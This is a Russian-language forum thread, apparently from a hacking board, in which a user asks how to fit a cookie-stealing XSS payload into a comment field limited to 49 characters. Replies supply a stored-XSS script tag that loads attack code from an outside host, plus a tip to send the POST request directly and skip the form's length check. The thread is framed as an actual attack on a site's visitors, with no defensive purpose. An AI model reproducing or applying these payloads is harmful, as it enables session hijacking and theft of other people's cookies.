49 символов для Xss атаки

Discussion in 'PHP' started by cop, 19 Nov 2006.

  1. cop

    cop Elder - Старейшина

    Joined:
    14 Nov 2006
    Messages:
    58
    Likes Received:
    1
    Reputations:
    4
    Есть уязвимость на сайте: в форме комментариев можно вписать html теги. Как можно сформировать такой JavaScript, шоб своровать куки для формы в 49 символов (обрезаеться базой)?
     
    #1 cop, 19 Nov 2006
    Last edited: 19 Nov 2006
  2. GreenBear

    GreenBear наркоман с медалью

    Joined:
    7 May 2005
    Messages:
    2,548
    Likes Received:
    1,397
    Reputations:
    612
    /thread25933.html
     
    #2 GreenBear, 19 Nov 2006
  3. cop

    cop Elder - Старейшина

    Joined:
    14 Nov 2006
    Messages:
    58
    Likes Received:
    1
    Reputations:
    4
    Green_Bear, да, это все понятно. У меня для формы доступно только 49 символов, я не могу ничего придумать, шоб как-нить сформировать рабочий код. (я в первом сообщении исправил про 49 символов)
     
    #3 cop, 19 Nov 2006
  4. _Great_

    _Great_ Elder - Старейшина

    Joined:
    27 Dec 2005
    Messages:
    2,032
    Likes Received:
    1,118
    Reputations:
    1,139
    <script src='http://site.ru/a.js'></script>

    А в site.ru/a.js написать остальной код
     
    #4 _Great_, 19 Nov 2006
    1 person likes this.
  5. nc.STRIEM

    nc.STRIEM Members of Antichat

    Joined:
    5 Apr 2006
    Messages:
    1,036
    Likes Received:
    347
    Reputations:
    292
    А чем эти 49 символов обрезаються???? Есле это ограничение в форме, то прост пошли POST запрос, в самао скрипте редко длинна проверяеться!
    а ваше смотри что те _Great_ написал! ;)
     
    _________________________
    #5 nc.STRIEM, 19 Nov 2006
  6. _Great_

    _Great_ Elder - Старейшина

    Joined:
    27 Dec 2005
    Messages:
    2,032
    Likes Received:
    1,118
    Reputations:
    1,139
    он же написал - базой.. а это хреново. Но моим способом уложиться можно
     
    #6 _Great_, 19 Nov 2006
  7. cop

    cop Elder - Старейшина

    Joined:
    14 Nov 2006
    Messages:
    58
    Likes Received:
    1
    Reputations:
    4
    супер, ребята спасибо!!!!
     
    #7 cop, 19 Nov 2006
  8. cop

    cop Elder - Старейшина

    Joined:
    14 Nov 2006
    Messages:
    58
    Likes Received:
    1
    Reputations:
    4
    не допер шото сам :(
     
    #8 cop, 19 Nov 2006
  9. jonart

    jonart Elder - Старейшина

    Joined:
    6 Apr 2005
    Messages:
    37
    Likes Received:
    5
    Reputations:
    0
    _Great_
    а у мня вопрос а если перед вставкой в бд например он проверяет кол-во символов поступающих получиться что он еще и посчитает все символы и с файла который вставляем ведь!Верно?
     
    #9 jonart, 20 Nov 2006
  10. GreenBear

    GreenBear наркоман с медалью

    Joined:
    7 May 2005
    Messages:
    2,548
    Likes Received:
    1,397
    Reputations:
    612
    ну ты гонишь. ничего там не будет считать с файла.
     
    #10 GreenBear, 20 Nov 2006
  11. _Great_

    _Great_ Elder - Старейшина

    Joined:
    27 Dec 2005
    Messages:
    2,032
    Likes Received:
    1,118
    Reputations:
    1,139
    JS выполняется на СТОРОНЕ КЛИЕНТА. Серверу посрать какие файлы куда включены в коде. он тупо включает эти символы (js-код) в базу и ничего больше.
    Включение файла делает браузер у клиента
     
    #11 _Great_, 20 Nov 2006
(You must log in or sign up to post here.)